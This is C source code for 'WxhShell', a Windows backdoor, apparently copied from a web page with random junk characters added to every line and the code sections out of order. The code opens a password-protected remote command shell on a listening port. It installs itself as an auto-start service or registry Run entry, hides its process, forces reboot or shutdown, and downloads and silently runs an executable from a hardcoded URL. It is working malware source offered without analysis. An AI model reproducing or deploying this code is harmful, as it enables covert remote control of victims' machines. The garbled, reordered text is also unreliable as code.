    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :P`sK&b_  
    if(Boot(SHUTDOWN)) RC Fb&,51  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GL&ri!,  
    else { 7k{Oae\$  
    closesocket(wsh); !\Jj}iX3_  
    ExitThread(0); 8}Rwf?B  
    } fI} Z`*  
    break; N8(xz-6  
    } Z"Z&X0O j  
  // 获取shell Nj||^k  
  case 's': { LFy5tX#  
    CmdShell(wsh); I1U{t  
    closesocket(wsh); =zXpeo&|m  
    ExitThread(0); q /EK ]B  
    break; k:PO"<-U  
  } '5wa"/ ?w  
  // 退出 <lZyUd  
  case 'x': { AbUPJF"F  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >FPE%X0+  
    CloseIt(wsh); | Q:$G!/  
    break; &'V_80vA  
    }  Py\xN  
  // 离开 $K^"a  
  case 'q': { Z@&_ T3M  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); rz+G]J  
    closesocket(wsh); N kp>yVj  
    WSACleanup(); B, nCx=\S  
    exit(1); gT-'#K2qT  
    break; bs U$mtW  
        } 1C+Y|p?KA  
  } |J2_2a/"  
  } a*hOT_;#  
h8 >7si  
  // 提示信息 u7G@VZ Ux5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  'vj45b  
} )hK5_]"lmj  
  } %KNnss}  
kH d_q.  
  return; O_0|Q@  
} L q8}z-?  
~R-S$qizAC  
// shell模块句柄 Yo @>O98  
int CmdShell(SOCKET sock) 1B= vrGq  
{ Da1BxbDeI  
STARTUPINFO si; gbwKT`N*  
ZeroMemory(&si,sizeof(si)); DbJ:KQ!*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .g DWv  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4][m!dsU  
PROCESS_INFORMATION ProcessInfo; t5N@ z  
char cmdline[]="cmd"; @i&LKr8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); B1c`(mHl  
  return 0; 62rTGbDbx  
} 0!veLXeK!  
zkn K2e,$  
// 自身启动模式 !uLAW_~  
int StartFromService(void) @Ek''a$  
{ m9ts&b+TE  
typedef struct F6h3M~uR  
{ K+Q81<X~  
  DWORD ExitStatus; %]nY v#K  
  DWORD PebBaseAddress; D|Wekhm  
  DWORD AffinityMask; ]B=B@UO@.  
  DWORD BasePriority; <(`dU&&%"}  
  ULONG UniqueProcessId; )5gcLD/zI  
  ULONG InheritedFromUniqueProcessId; |\@e  
}   PROCESS_BASIC_INFORMATION; 6kGIO$xJ)  
5+rYk|*D+k  
PROCNTQSIP NtQueryInformationProcess; 5tHv'@  
OP]=MZP|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Dk|S`3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (~xFd^W9o  
&>0=v  
  HANDLE             hProcess; 5^cPG" 4@  
  PROCESS_BASIC_INFORMATION pbi; !I]fNTv<  
W=}l=o!G.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p.TR1BHw  
  if(NULL == hInst ) return 0; \$ ^z.  
xr?=gY3E;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5 g99t$p9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); UoPd>q4Uj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~6.AE/ow  
~!meO;|W  
  if (!NtQueryInformationProcess) return 0; pA3j@w  
&tw.]3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /:>qhRFJA:  
  if(!hProcess) return 0; (*7edc"F  
P~redX=t@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; kU_bLC?>D  
j+]>x]c0  
  CloseHandle(hProcess); .3qaaXeH  
NZ9=hI;iM  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;j=/2vU~@  
if(hProcess==NULL) return 0; NSHWs%Zc  
NLw#b?%  
HMODULE hMod; 'P32G?1C&p  
char procName[255]; $5r[YdnY<  
unsigned long cbNeeded; w;0NtV|  
o4o&}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); s#;|8_L M  
ncb?iJ/b^  
  CloseHandle(hProcess); wX8T;bo&  
~/Aw[>_;  
if(strstr(procName,"services")) return 1; // 以服务启动 pA='(G  
vmAMlgZ8{<  
  return 0; // 注册表启动 `j0T[Pi  
} =+~e44!~D  
bM_Y(TgJ  
// 主模块 f% ZqK_CW  
int StartWxhshell(LPSTR lpCmdLine) [0yKd?e  
{ ?(Dkh${@  
  SOCKET wsl; 9 H2^4D8  
BOOL val=TRUE; YoGnk^$  
  int port=0; `j(\9j ok  
  struct sockaddr_in door; QUb#;L@okn  
'?E^\\"*  
  if(wscfg.ws_autoins) Install(); ldrKk'S,B  
P .3j |)NW  
port=atoi(lpCmdLine); Im{50%Y  
Vi23pDZ5  
if(port<=0) port=wscfg.ws_port; Wd~aSz9  
o;{  
  WSADATA data; 9@./=5N~3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; HC*=E.J  
}+#-\a2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *GbC`X)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); # ,u7lAz  
  door.sin_family = AF_INET; ,IA0n79  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~;aSX1   
  door.sin_port = htons(port); '{\VO U  
m;WUp{'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  "@Bc eD  
closesocket(wsl); Xlw&hKS  
return 1; C16MzrB}(N  
} cn v4!c0  
gH Q[D|zu  
  if(listen(wsl,2) == INVALID_SOCKET) { djS?$WBpU  
closesocket(wsl); b(_PCVC  
return 1; -_ .f&l8  
} bRJYw6oA<  
  Wxhshell(wsl); GbwcbfH  
  WSACleanup(); ^6#FqK+{u  
S9 <J \`FG  
return 0; )W:`Q&/G  
YM 0f_G=  
} ?Vb=W)Es  
1}tZ,w>  
// 以NT服务方式启动 y AU[A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |rH;}t|un  
{ :t?9$ dL  
DWORD   status = 0; -. L)-%wIV  
  DWORD   specificError = 0xfffffff; chQt8Ar3  
S6h=} V )  
  serviceStatus.dwServiceType     = SERVICE_WIN32; e-,U@_B  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; xM9EO(u  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F}DdErd!f  
  serviceStatus.dwWin32ExitCode     = 0; zPe4WE|  
  serviceStatus.dwServiceSpecificExitCode = 0; R/waWz\D  
  serviceStatus.dwCheckPoint       = 0; %'kaNpBz  
  serviceStatus.dwWaitHint       = 0; v$K`C;  
(;$ J5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Vg#s  
  if (hServiceStatusHandle==0) return; 3Ku!;uo!u  
] ^to r  
status = GetLastError(); AT<gV/1l  
  if (status!=NO_ERROR) 00Tm0rY  
{ sD1L P  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^*`{W4e]  
    serviceStatus.dwCheckPoint       = 0; s!~M,zsQN  
    serviceStatus.dwWaitHint       = 0; 9.qIhg  
    serviceStatus.dwWin32ExitCode     = status; <t,uj.9_  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3q R@$pm  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Lt8chNi [  
    return; XASoS5  
  } lJi'%bOi  
4-eb&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0L $v7, 5  
  serviceStatus.dwCheckPoint       = 0; L5(rP\B  
  serviceStatus.dwWaitHint       = 0; ' jZ2^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v!E0/ gD  
} E8T4Nh_  
HelC_%#^  
// 处理NT服务事件,比如:启动、停止 c ^G\w+_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (?J6vK}S  
{ Cc0`Ylx~(  
switch(fdwControl) <&n3"  
{ U u(ysN4`  
case SERVICE_CONTROL_STOP: K$\az%NE  
  serviceStatus.dwWin32ExitCode = 0; jj0@ez{3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;9q3FuR  
  serviceStatus.dwCheckPoint   = 0; YPDc /  
  serviceStatus.dwWaitHint     = 0; ?1xBhKq  
  { 3P6pQm'.f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F@kOj*5,[  
  } *DLv$/(0  
  return; p>Ju)o  
case SERVICE_CONTROL_PAUSE: l,1}1{k&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <]b}R;9v  
  break; Dj;h!8t.  
case SERVICE_CONTROL_CONTINUE: >MUwT$szs  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /R8>f  
  break; KunK.m  
case SERVICE_CONTROL_INTERROGATE: 'd]9u9u  
  break; 4\pi<#X  
}; *ys@ 'Ai?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); uTpKT7t  
} 79~,KFct  
I}p uN!  
// 标准应用程序主函数 Xj&{M[k<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7$z")JB  
{ ~=Z&l  
K8pfk*NZ_@  
// 获取操作系统版本 rwtSn?0z"  
OsIsNt=GetOsVer(); QBR9BR  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )?%FU?2jrn  
R$K.;  
  // 从命令行安装 7,!Mmu  
  if(strpbrk(lpCmdLine,"iI")) Install(); =jkC]0qx  
aj20, w  
  // 下载执行文件 R)I 8 )  
if(wscfg.ws_downexe) { ^8o'\V"m^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /1h`O@VA  
  WinExec(wscfg.ws_filenam,SW_HIDE); m`g%\o^6i  
} #KXazZu"  
Y6`9:97  
if(!OsIsNt) { kN`[Q$B  
// 如果时win9x,隐藏进程并且设置为注册表启动 0(Vbji  
HideProc(); j$Vv'on  
StartWxhshell(lpCmdLine); {v+i!a'+  
} &s"&rFFO[  
else wHBkaPO!  
  if(StartFromService()) a { L`C"rJ  
  // 以服务方式启动 K-)*S\<}  
  StartServiceCtrlDispatcher(DispatchTable); 5hB&]6n  
else UQ$dO2^  
  // 普通方式启动 m1gJ"k6 `j  
  StartWxhshell(lpCmdLine); :)c >5  
YdV5\!  
return 0; j^1T3 +  
} Ve2z= 6(  
,YSQog  
 k1L GT&  
}Tu_?b`RUm  
=========================================== n #p6i  
Gc~A,_(  
9| v  
s.6S :  
8doT`rI1  
:GIY"l'  
" 6NO=NL  
7WiVor$g-  
#include <stdio.h> 6](vnS;  
#include <string.h> RoxzCFsI\  
#include <windows.h> 3hmuF6y~  
#include <winsock2.h> 3SpDV'}  
#include <winsvc.h> FMwT4]y  
#include <urlmon.h> BXa1 [7Z  
UIL5K   
#pragma comment (lib, "Ws2_32.lib") 8.o[K  
#pragma comment (lib, "urlmon.lib") Al3Hu-Hf;`  
b]g}h  
#define MAX_USER   100 // 最大客户端连接数 %pc0a^iB  
#define BUF_SOCK   200 // sock buffer ve1jLjsB  
#define KEY_BUFF   255 // 输入 buffer t}cj8DC!  
BC(f1  
#define REBOOT     0   // 重启 ]gI XG`  
#define SHUTDOWN   1   // 关机 YM 7P!8Gc  
U @|{RP  
#define DEF_PORT   5000 // 监听端口 8hQ"rrj+  
XZV)4=5iSO  
#define REG_LEN     16   // 注册表键长度 dDi 1{s  
#define SVC_LEN     80   // NT服务名长度 PP.k>zsx  
w6Dysg:  
// 从dll定义API [^"e~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); L0UAS'hf  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -njxc{b  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); vO]gj/SaT  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); R{#-IH="  
UldKlQ8  
// wxhshell配置信息 ~NpnRIt  
struct WSCFG { n j; KnZ  
  int ws_port;         // 监听端口 n >xhT r<  
  char ws_passstr[REG_LEN]; // 口令 V3yO_Iqa  
  int ws_autoins;       // 安装标记, 1=yes 0=no )Si`>o3T-.  
  char ws_regname[REG_LEN]; // 注册表键名 JGn@)!$+/  
  char ws_svcname[REG_LEN]; // 服务名 dWR?1sV|e  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 n-Dr/c4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1Lqs>*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6:v8J1G(<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0w< iz;30  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" tOnaD]J  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :lgIu .  
k/H<UW?Z]  
}; 1ikkm7  
;r49H<z   
// default Wxhshell configuration d;D^<-[i  
struct WSCFG wscfg={DEF_PORT, q1r\ 60M  
    "xuhuanlingzhe", tK g%5;v  
    1, /%=#*/E7  
    "Wxhshell", Bpo~x2p  
    "Wxhshell", XwX1i!'54  
            "WxhShell Service", "y "C#:5  
    "Wrsky Windows CmdShell Service", +ywWQ|V  
    "Please Input Your Password: ", m;K Mr6sO  
  1, aFyNm@a  
  "http://www.wrsky.com/wxhshell.exe", *:BN LM  
  "Wxhshell.exe" x[WT)  
    }; 3`^ ]#Dh  
%04>R'mN  
// 消息定义模块 Y +HVn0~qz  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -<ZzYQk^h  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }mu8fm'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; dam.D.o"  
char *msg_ws_ext="\n\rExit."; U!3nn#!yE  
char *msg_ws_end="\n\rQuit."; 6XFO@c}d  
char *msg_ws_boot="\n\rReboot..."; dMRwQejY{7  
char *msg_ws_poff="\n\rShutdown..."; CrS[FM= +W  
char *msg_ws_down="\n\rSave to "; 1?7QS\`)fB  
B^h]6Z/O  
char *msg_ws_err="\n\rErr!"; eFsku8$<  
char *msg_ws_ok="\n\rOK!"; oWs&W  
 vFl|  
char ExeFile[MAX_PATH]; "D3JdyO_S  
int nUser = 0; S _ nTp)  
HANDLE handles[MAX_USER]; [0/?(i|  
int OsIsNt; ; wW6x  
MAJvjgd ..  
SERVICE_STATUS       serviceStatus; h2=zvD;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Qksw+ZjY#{  
;1(OC-2>d  
// 函数声明 DgClN:Hw  
int Install(void); HeSnj-mtr}  
int Uninstall(void); 7T4rx53  
int DownloadFile(char *sURL, SOCKET wsh); i;/qJKr&#  
int Boot(int flag); &+&^Hc  
void HideProc(void); C$ZY=UXz!T  
int GetOsVer(void); e= 8ccj  
int Wxhshell(SOCKET wsl); V X211U.Q  
void TalkWithClient(void *cs); -[ ^wYr=  
int CmdShell(SOCKET sock); (e F5?I  
int StartFromService(void); ^,U&v;   
int StartWxhshell(LPSTR lpCmdLine); %}'sFu m`  
F4bF&% R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <=A&y5o  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); '\_ic=&u  
pKr3(5~  
// 数据结构和表定义 JXPn <  
SERVICE_TABLE_ENTRY DispatchTable[] = .rxc"fR4_  
{ IgN,]y  
{wscfg.ws_svcname, NTServiceMain}, e m>CSBx  
{NULL, NULL} Yd/qcC(&  
}; {W `/KU?u  
X 8[T*L.  
// 自我安装 u6(7#n02  
int Install(void) Z>CFH9  
{ oL VtP  
  char svExeFile[MAX_PATH]; azE>uEsE  
  HKEY key; &<tji8Dj  
  strcpy(svExeFile,ExeFile); Y J1P5u:  
f3v/Y5)  
// 如果是win9x系统,修改注册表设为自启动 |d{(&s}  
if(!OsIsNt) { ry7(V:ic  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K.X% Q,XD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (\WePOy&  
  RegCloseKey(key); {/n$Y|TIQt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i>!f|<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R^PQ`$W 'R  
  RegCloseKey(key); NiyAAw  
  return 0; \7og&j-h  
    } J4S2vBe16  
  } 78 UT]<Q;K  
} J~c]9t  
else { -P.) 0d(  
g2iSc  
// 如果是NT以上系统,安装为系统服务 (AwbZn*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); yM\ 1n  
if (schSCManager!=0) 8, B9y D  
{ Nc;7KMOIA  
  SC_HANDLE schService = CreateService ](Sp0t  
  ( P!]DV$o  
  schSCManager, 8,['q~z  
  wscfg.ws_svcname, FEdyh?$  
  wscfg.ws_svcdisp, c)E'',-J_2  
  SERVICE_ALL_ACCESS, -Tz9J4xU&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , E"w7/k#3}C  
  SERVICE_AUTO_START, & JF^a  
  SERVICE_ERROR_NORMAL, aZBaIl6I  
  svExeFile, 'i`;Frmg  
  NULL, y<;#*wB  
  NULL, {ifYr(|p`  
  NULL, l@Ml8+  
  NULL, <m)@~s?D  
  NULL :!r_dmJ  
  ); PDGh\Y[AK,  
  if (schService!=0) [9>1e  
  { W6\s@)b;  
  CloseServiceHandle(schService); aEL6-['(  
  CloseServiceHandle(schSCManager); Ex<-<tY  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); kB  :")$  
  strcat(svExeFile,wscfg.ws_svcname); fE^rTUtn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7J')o^MG  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); v$,9l+p/  
  RegCloseKey(key); !{ )H  
  return 0; M)|}Vn;!  
    } b,{?+8  
  } V qYe0-^=P  
  CloseServiceHandle(schSCManager); cdEZ Y  
} q@^=im  
} e|{6^g<ru  
Xw![}L >  
return 1; 1;H(   
} K}a[~  
l(<o,Uv[`  
// 自我卸载 UY|nB hL  
int Uninstall(void) dc:|)bK M  
{ 8{h:z 9]J  
  HKEY key; ]54V9l:  
`Th!bk  
if(!OsIsNt) { 98V9AOgk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~rKo5#D  
  RegDeleteValue(key,wscfg.ws_regname); <k^h&1J#g  
  RegCloseKey(key); ob0clJX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B04Br~hel*  
  RegDeleteValue(key,wscfg.ws_regname); w"aD"}3  
  RegCloseKey(key); 3RGVH,  
  return 0; Nf3Kz#!B  
  } cG ^'Qm  
} 0iHK1Pt}  
} dIK!xOStA  
else { RL>[t  
Uu3[Cf=C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); > Y[{m $-  
if (schSCManager!=0) @BBqH&<`  
{ 9i9VDk{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); D^f;dT;-  
  if (schService!=0) fxyPh  
  { lN^L#m*@  
  if(DeleteService(schService)!=0) { _-&Au%QNJ`  
  CloseServiceHandle(schService); RdvJA:;q  
  CloseServiceHandle(schSCManager); Zcdt\;HKr  
  return 0; w3B*%x)  
  } E8)C_[QJ`  
  CloseServiceHandle(schService); s>_ne0  
  } FIW*N r  
  CloseServiceHandle(schSCManager); dGHRHXi  
} YSeXCJ:Iy  
} 8)M . W  
^i@tOtS  
return 1; C}W/9_I6Uo  
} f<y""0L9  
,qaIdw[  
// 从指定url下载文件 m]&d TZV  
int DownloadFile(char *sURL, SOCKET wsh) D'A)H  
{ ("IRv>} 0  
  HRESULT hr; C2!POf;GdN  
char seps[]= "/"; L,\ Yj  
char *token; f}#pKsX.  
char *file; +EkZyM~z2  
char myURL[MAX_PATH]; $s?q>Z)  
char myFILE[MAX_PATH]; bJGT^N@  
x'n J_0  
strcpy(myURL,sURL); 2uU~$7~N  
  token=strtok(myURL,seps); [N H[n#  
  while(token!=NULL) ZW*"Kok  
  { W;u~}k<  
    file=token; +tlTHK  
  token=strtok(NULL,seps); R]L 7?=  
  } >Rx^@yQ!+z  
hOw7"'# !  
GetCurrentDirectory(MAX_PATH,myFILE); [x,_0-_  
strcat(myFILE, "\\"); 1p`XK";g  
strcat(myFILE, file); py@5]n%  
  send(wsh,myFILE,strlen(myFILE),0); ~ ]o .Mv a  
send(wsh,"...",3,0); +vJ[k2d  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); whxE[Xnv  
  if(hr==S_OK) :? yv0Iu  
return 0; t0Ec` +)  
else 1*(^<x+n  
return 1; Qm ;ip E  
/Nb&e  
} gdHPi;  
HR)joD*q;[  
// 系统电源模块 #;2Ju'e#z  
int Boot(int flag) F) < f8F  
{ = V%s^  
  HANDLE hToken; .:$%3#N$(Y  
  TOKEN_PRIVILEGES tkp; u[ "Pg  
O@?? NF6G  
  if(OsIsNt) { l[rIjyL@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); EPdR-dC^wE  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); S'2B  
    tkp.PrivilegeCount = 1; D4;V8(w=#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]\*g/QV  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~@TNVkw  
if(flag==REBOOT) { k >U&Us0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8?P@<Do%  
  return 0; Hza{"I*^  
} i]xyD'0  
else { Exk[;lI  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  t\u0\l>  
  return 0; d-39G*;1  
} \jZvP`.2  
  } ^!N_Nx/M  
  else { UiF?Nx~  
if(flag==REBOOT) { 1JJQ(b  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) RLecKw&1{3  
  return 0; VA.:'yQtJ  
} El]Rrku  
else { n%W~+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) EKq9m=Ua@o  
  return 0; VO[s:e9L  
} 3*XX@>|o  
} @dD70T  
(fb&5=Wzw  
return 1; C6:<.`iD87  
} !x|OgvJ  
h7kGs^pP  
// win9x进程隐藏模块 9`QWqu[  
void HideProc(void) V5%B ,.d:  
{ cm]8m_!  
t&H):P  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -=5z&) X  
  if ( hKernel != NULL ) :Uj+iYE8Z8  
  { W UDQb5k  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vR-rCve$P  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); l 0jjLqm:  
    FreeLibrary(hKernel); Y(W>([59  
  } RY&Wvkjh  
;' YM@n  
return; h+}`mi  
} %Mz(G-I.\  
`A$yF38!  
// 获取操作系统版本 dX,2cK[aG  
int GetOsVer(void) ub0]nov  
{ buG0#:  
  OSVERSIONINFO winfo; "JKrbgN@;L  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); T&X*[kP  
  GetVersionEx(&winfo); 9bq#&~+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !+=jD3HTJ  
  return 1; ?4(uwX p  
  else a[[u>oHyd  
  return 0; j*rra  
} f-tjMa /_  
%'%r.  
// 客户端句柄模块 # ]&=]K1V  
int Wxhshell(SOCKET wsl) <Y9((QSM4  
{ )pW(Cp  
  SOCKET wsh; 03iO4yOu  
  struct sockaddr_in client; 8'@pX<  
  DWORD myID; W2qW`Ujo{  
-U'6fx) +  
  while(nUser<MAX_USER) L&][730  
{ z?Hvh  
  int nSize=sizeof(client); 4:y;<8+j\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); q --NLm@;  
  if(wsh==INVALID_SOCKET) return 1; w<.{(1:v  
`oXUVr  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); G@BF<e{  
if(handles[nUser]==0) Fpzps!(;=  
  closesocket(wsh); [XhuJdr"u  
else :|EM1-lwf  
  nUser++; U[ u9RB  
  } n*{e0,gp`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); CJ%bBL'.  
u B~/W  
  return 0; $DJp|(8  
} +^1H tI|y  
p&_Kb\} U  
// 关闭 socket L'`W5B@  
void CloseIt(SOCKET wsh) aM,>LKNbQ  
{ GG/~)^VMe  
closesocket(wsh); 0<Vw0%!  
nUser--; @ {j'Pf'  
ExitThread(0); =X2 Ieb  
} (|Y[5O)  
[^A93F  
// 客户端请求句柄 oIAP dn  
void TalkWithClient(void *cs) QA+qFP  
{ gmJiKuAL5  
Xv|~1v%s7  
  SOCKET wsh=(SOCKET)cs; k?o(j/  
  char pwd[SVC_LEN]; I)U|~N  
  char cmd[KEY_BUFF]; .ss/E  
char chr[1]; j$4Tot  
int i,j; bT@3fuL4  
P"cc$lB~I  
  while (nUser < MAX_USER) { hS OAjS  
#O7|&DqF{  
if(wscfg.ws_passstr) { &|LZ%W0Fb  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iL\<G} I  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &$ia#j{l  
  //ZeroMemory(pwd,KEY_BUFF); vHCz_ FV  
      i=0; Ps4spy0Fp  
  while(i<SVC_LEN) { J'sVT{@GS  
^!3Sz1  
  // 设置超时 k$9oUE,  
  fd_set FdRead; N0,.cd]y`  
  struct timeval TimeOut; vClD)Ar  
  FD_ZERO(&FdRead); / ~'ZtxA  
  FD_SET(wsh,&FdRead); _Y40a+hk]  
  TimeOut.tv_sec=8; Y4YA1F  
  TimeOut.tv_usec=0; '3 xvQFg  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =1!wep"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~ T|?!zML  
JM0'V0z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); | y\B*P  
  pwd=chr[0]; QHUoAa`6v  
  if(chr[0]==0xd || chr[0]==0xa) { m/5:-xL31  
  pwd=0; B<T wTv  
  break; O%AQ'['  
  } 3b (I~  
  i++; L NmsvU  
    } v[T5D:  
RAxAy{  
  // 如果是非法用户,关闭 socket CTv-$7#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [RiCa  
} MM"{ehd{^a  
#G:~6^A  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2VyLt=mdh  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f*04=R?w7>  
H,9e<x#own  
while(1) { oIdMDp^$  
J GnL[9P_  
  ZeroMemory(cmd,KEY_BUFF); n a])bBn  
-8X* (7  
      // 自动支持客户端 telnet标准   \/*r45!  
  j=0; q %i2' yE  
  while(j<KEY_BUFF) { N93 ZI|T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 44B)=p7  
  cmd[j]=chr[0]; ):E4qlB  
  if(chr[0]==0xa || chr[0]==0xd) { 8 C@iD%  
  cmd[j]=0; ^|5bK_Z&  
  break;  s de|t  
  } O:"gJ4D  
  j++; ymT&[+V  
    } &ok2Xw  
LGGC=;{}  
  // 下载文件 :PuJF`k  
  if(strstr(cmd,"http://")) { @5K/z<p%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /PN[g~3  
  if(DownloadFile(cmd,wsh)) id8a#&t]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); nyD(G=Q5  
  else j y R 9a!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )=V0  
  } %,Xs[[?i  
  else { OWT5Bjl  
